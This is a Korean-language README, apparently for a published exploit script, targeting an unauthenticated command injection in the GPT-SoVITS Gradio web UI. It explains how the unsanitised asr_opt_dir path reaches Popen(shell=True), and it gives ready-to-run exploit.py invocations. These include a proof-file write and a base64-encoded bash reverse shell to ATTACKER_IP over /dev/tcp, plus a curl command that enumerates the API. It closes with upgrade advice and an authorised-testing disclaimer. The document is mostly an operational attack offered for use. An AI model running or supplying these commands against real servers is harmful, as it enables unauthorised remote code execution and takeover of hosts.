
GPT-SoVITS Gradio 웹 UI의 인증되지 않은 OS 명령 주입 익스플로잇입니다. 오디오 처리 헬퍼에서 경로 매개변수가 소독되지 않아 RCE를 제공하며, 승인된 보안 테스트를 위해 리버스 셸 및 파일 쓰기를 지원합니다.
GPT-SoVITS의 Gradio 웹 UI(webui.py)에서 인증되지 않은 원격 코드 실행.
오디오 처리 도우미(open_asr, open_slice, open_denoise, open_uvr5)는 clean_path()를 통해 전달된 경로만 사용하여 정리되지 않은 Gradio 텍스트 상자 경로 값을 직접 Popen(..., shell=True)로 실행되는 셸 명령에 삽입합니다. clean_path()는 앞뒤 따옴표와 공백만 제거하므로, 중간에 있는 셸 메타문자는 그대로 남습니다. asr_opt_dir 필드는 존재 여부조차 확인되지 않으므로, $(...) 명령어 치환을 포함한 값이 -o "$(...)" 안에 들어가 웹 UI 프로세스 사용자로 실행됩니다. 웹 UI는 인증 없이 제공되므로, 단일 요청만으로 충분합니다.
<= 20250606v2pro9874 (Gradio 웹 UI, 인증되지 않음)pip install gradio_client
# 대상에 증명 파일 작성
python3 exploit.py http://10.10.10.10:9874/ -c 'id > /tmp/pwned 2>&1'
# 리버스 셸 (base64는 페이로드를 $() 컨텍스트 내에서 따옴표 없이 유지; bash -c가 필요한 이유는 싱크가 /dev/tcp가 없는 /bin/sh에서 실행되기 때문)
B64=$(echo -n 'bash -i >& /dev/tcp/ATTACKER_IP/443 0>&1' | base64 -w0)
python3 exploit.py http://10.10.10.10:9874/ -c "echo $B64|base64 -d|bash"
주입된 명령은 서버에서 실행되며, 출력이 반환되지 않으므로 리버스 셸을 사용하거나(또는 읽을 수 있는 경로에 쓰기) 결과를 확인하세요. asr_opt_dir은 $(...)로 감싸져 있으므로, ASR 모델이 설치되어 있지 않아도 명령어 치환을 통해 실행됩니다.
open_asr은 다음을 구성하고 실행합니다:
asr_opt_dir = clean_path(asr_opt_dir) # 앞뒤 따옴표/공백만 제거
cmd += f' -o "{asr_opt_dir}"' # asr_opt_dir 존재 여부 확인 안 함
Popen(cmd, shell=True) # /bin/sh가 -o "..." 내부에서 $(...) 실행
Gradio UI는 /config에서 API 표면을 노출합니다:
curl -s http://10.10.10.10:9874/config | python3 -c "import sys,json;print([x['api_name'] for x in json.load(sys.stdin)['dependencies'] if x.get('api_name')][:12])"
# [... 'open_asr', 'close_asr', 'open_slice', ...]
GPT-SoVITS 20250606v2pro 이후 버전으로 업그레이드하고, 웹 UI를 신뢰할 수 없는 네트워크에 노출하지 말며, 권한 있는 사용자로 실행하지 마세요.
승인된 보안 테스트 및 교육 목적으로만 사용하십시오. 자신이 소유하거나 테스트할 명시적 권한이 있는 시스템에만 사용하십시오.